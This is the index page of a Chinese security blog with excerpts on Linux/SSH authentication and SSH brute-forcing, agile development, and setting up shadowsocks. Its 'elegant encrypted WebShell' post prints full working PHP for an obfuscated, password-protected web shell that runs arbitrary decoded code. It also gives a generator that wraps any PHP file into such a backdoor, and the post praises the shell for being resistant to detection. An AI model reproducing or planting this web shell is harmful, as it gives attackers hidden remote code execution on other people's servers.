DarkMelody

Linux登录验证机制、SSH Bruteforce Login学习

From:http://www.cnblogs.com/LittleHann/p/3662161.html?utm_source=tuicool

本文希望侧重学习一些SSH登录过程中所涉及到的验证机制、以及在暴力穷举中我们应该使用的方法

相关学习资料

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

http://files.cnblogs.com/LittleHann/linux%E4%B8%AD%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E8%AE%A4%E8%AF%81%E6%9C%BA%E5%88%B6%E7%9A%84%E7%A0%94%E7%A9%B6.rar

http://blog.chinaunix.net/uid-20196318-id-94771.html

http://wenku.baidu.com/view/e3c66fdc50e2524de5187eda.html

https://www.ibm.com/developerworks/cn/linux/l-pam/

https://www.ibm.com/developerworks/cn/linux/l-pam/#resources

http://linux.chinaunix.net/techdoc/beginner/2008/11/17/1045867.shtml

https://help.ubuntu.com/10.04/serverguide/kerberos.html

http://blog.jobbole.com/22367/

http://www.ibm.com/developerworks/cn/linux/l-radius/

http://www3.imperial.ac.uk/ict/services/security/securityservices/publickeyinfrastructure/installcaonlinux

https://wiki.archlinux.org/index.php/S/KEY_Authentication

http://en.wikipedia.org/wiki/S/KEY

http://blog.chinaunix.net/uid-773723-id-152230.html

http://blog.lizhigang.net/archives/249

http://www.360doc.com/content/12/0502/11/9523733_208062914.shtml

http://nichael1983.blog.163.com/blog/static/114969433201002711850400/

http://docstore.mik.ua/orelly/networking_2ndEd/ssh/ch11_04.htm

http://blog.scottlowe.org/2006/08/21/native-kerberos-authentication-with-ssh/

http://publib.boulder.ibm.com/infocenter/pseries/v5r3/index.jsp?topic=/com.ibm.aix.security/doc/security/using_openssh_with_kerberosv5.htm

http://www.slac.stanford.edu/comp/unix/sshGSSAPI.html

http://www.linuxmanpages.com/man5/sshd_config.5.php

1

2

3

1. Linux中的登录验证机制

2. SSH中的登录验证机制

3. SSH Bruteforce Login的相关方法

Linux中的登录验证机制

谈及”登录验证”这个概念，小瀚觉得应该要在不同的场景下进行具体讨论，Linux中的登录验证机制可以分为以下几类:

1. 系统级的登录验证:

系统

阅读全文

资料收集

30 Mar 2015
发表评论

PHP代码审计脑图

阅读全文

资料收集

20 Mar 2015
发表评论

优美的加密WebShell

为什么说它优美，它的加密确实做的非常的不错，用密码来做解密的思路棒极了！只能爆破密码

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

<?php

$wp__wp = 'base' . (32 * 2) . '_de' . 'code';

$wp__wp = $wp__wp(str_replace(array("\r","\n"), array('',''), 'sF57LTWrfWWCbpXqhIKuMLGuCoZcpOYHdKLhkocso1nWAab9ha0yXMD96/9aQVwpqQXl/tjeoaG92omX

zI9mMw=='));

$wp_wp = isset($_POST['wp_wp']) ? $_POST['wp_wp'] : (isset($_COOKIE['wp_wp']) ? $_COOKIE['wp_wp'] : NULL);

if ($wp_wp !== NULL) {

$wp_wp = md5($wp_wp) . str_repeat(substr(md5(strrev($wp_wp)), 0, strlen($wp_wp)),10);

for ($wp___wp = 0; $wp___wp < 65; $wp___wp++) {

$wp__wp[$wp___wp] = chr((ord($wp__wp[$wp___wp]) - ord($wp_wp[$wp___wp])) % 256);

$wp_wp.= $wp__wp[$wp___wp];

}

if ($wp__wp = @gzinflate($wp__wp)) {

if (isset($_POST['wp_wp'])) @setcookie('wp_wp', $_POST['wp_wp']);

$wp___wp = create_function('', $wp__wp);

unset($wp__wp, $wp_wp);

$wp___wp();

}

} ?><form action="" method="post"><input type="text" name="wp_wp" value=""/><input type="submit" value=">"/></form>

生成代码：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

<?php

$file = '1.php'; /*要加密的文件*/

$pass = '123456'; /*登录密码*/

function enc($code,$pass) {

$len = strlen($code);

for($i = 0; $i < $len; $i++) {

$pass .= $code[$i];

$code[$i] = chr((ord($code[$i]) + ord($pass[$i])) % 256);

}

$code = base64_encode($code);

$temp = str_split($code,80);

$newc = join("\r\n",$temp);

return $newc;

}

$code = file_get_contents($file);

$code = base64_encode(' ?>'.$code.'<?php ');

$code = 'eval(base64_decode(\''.$code.'\'));exit;';

$code = gzdeflate($code);

$pass = md5($pass).str_repeat(substr(md5(strrev($pass)),0,strlen($pass)),10);

$out = base64_decode('PD9waHANCiR3cF9fd3AgPSAnYmFzZScgLiAoMzIgKiAyKSAuICdfZGUnIC4gJ2NvZGUnOw0KJHdwX193cCA9ICR3cF9fd3Aoc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwiXG4iKSwgYXJyYXkoJycsJycpLCAn').enc($code,$pass);

$out .= base64_decode('JykpOw0KJHdwX3dwID0gaXNzZXQoJF9QT1NUWyd3cF93cCddKSA/ICRfUE9TVFsnd3Bfd3AnXSA6IChpc3NldCgkX0NPT0tJRVsnd3Bfd3AnXSkgPyAkX0NPT0tJRVsnd3Bfd3AnXSA6IE5VTEwpOw0KaWYgKCR3cF93cCAhPT0gTlVMTCkgew0KICAgICR3cF93cCA9IG1kNSgkd3Bfd3ApIC4gc3Vic3RyKG1kNShzdHJyZXYoJHdwX3dwKSksIDAsIHN0cmxlbigkd3Bfd3ApKTsNCiAgICBmb3IgKCR3cF9fX3dwID0gMDsgJHdwX19fd3AgPCA=').strlen($code);

$out .= base64_decode('OyAkd3BfX193cCsrKSB7DQogICAgICAgICR3cF9fd3BbJHdwX19fd3BdID0gY2hyKChvcmQoJHdwX193cFskd3BfX193cF0pIC0gb3JkKCR3cF93cFskd3BfX193cF0pKSAlIDI1Nik7DQogICAgICAgICR3cF93cC49ICR3cF9fd3BbJHdwX19fd3BdOw0KICAgIH0NCiAgICBpZiAoJHdwX193cCA9IEBnemluZmxhdGUoJHdwX193cCkpIHsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnd3Bfd3AnXSkpIEBzZXRjb29raWUoJ3dwX3dwJywgJF9QT1NUWyd3cF93cCddKTsNCiAgICAgICAgJHdwX19fd3AgPSBjcmVhdGVfZnVuY3Rpb24oJycsICR3cF9fd3ApOw0KICAgICAgICB1bnNldCgkd3BfX3dwLCAkd3Bfd3ApOw0KICAgICAgICAkd3BfX193cCgpOw0KICAgIH0NCn0gPz48Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0id3Bfd3AiIHZhbHVlPSIiLz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJmd0OyIvPjwvZm9ybT4=');

echo '<pre>';

echo htmlspecialchars($out);

echo '</pre>';

?>

代码出自t00ls,稍作修改~

阅读全文

资源共享

20 Mar 2015
发表评论

(转)创业公司如何实施敏捷开发

说起敏捷开发，并不是因为敏捷而敏捷。这几年的敏捷开发已经被很多敏捷咨询服务商神话了，这个东西并不是神器，实施了就可以解决所有软件公司的问题，而是要结合自己公司的特点和问题摸索出适合自己的一套模式。

大家都知道，创业公司刚开始需要研发出一款产品并且能够使公司赚钱的产品，不过大部分创业公司没有那么容易一下就能做出来，很多公司还没有成功的产品资金链就断掉了，公司也死掉了。我们公司是这样一个状况，有一条产品线可以维持公司开支并仅仅刚够盈余，要扩大高速发展还不够，一直维持就没有创业的意义。另一条线是做技术创新为未来能够开发一款人气爆棚的产品摸索着，但是又不能饿着肚子去开发。我们是如何结合自身的特点

阅读全文

生活

20 Mar 2015
发表评论

shadowsocks 翻越GFW

之前很早就在vps做了SS，由于工作原因一直也没用上过局部代理，都是直接vpn做的全局，就没做文章记录。

环境：CentOS release 5.11 比较老的版本了~

下载ss-serv源码包编译安装

1

2

3

4

$wget --no-check-certificate https://github.com/madeye/shadowsocks-libev/archive/master.zip -O shadowsocks-libev.zip

$unzip shadowsocks-libev.zip

$./configure

$make && make install

记得当时由于系统太老 GCC版本太低总是编译不过去 ,安装gcc44，比较高版本的gcc来解决

1	yum -y install gcc44 gcc44-c++

配置帐号密码

1

2

3

4

5

6

7

8

echo '{

"server":"0.0.0.0", //服务器IP,0.0.0.0就可以

"server_port":8388, //开放端口

"local_port":1080, //本地端口

"password":"nop.pw", //连接密码

"timeout":600,

"method":"aes-256-cfb" //加密方式

}' > /etc/shadowsocks/config.json

开启SS后台运行
[crayon-5ce2014286d6

阅读全文

原创

11 Mar 2015
发表评论

Noiselessly Of Penetrate

Linux登录验证机制、SSH Bruteforce Login学习

一些不错的脑图（出自wooyun）

PHP代码审计脑图

优美的加密WebShell

(转)创业公司如何实施敏捷开发

shadowsocks 翻越GFW

页面导航

Debug

分类目录

文章归档

书签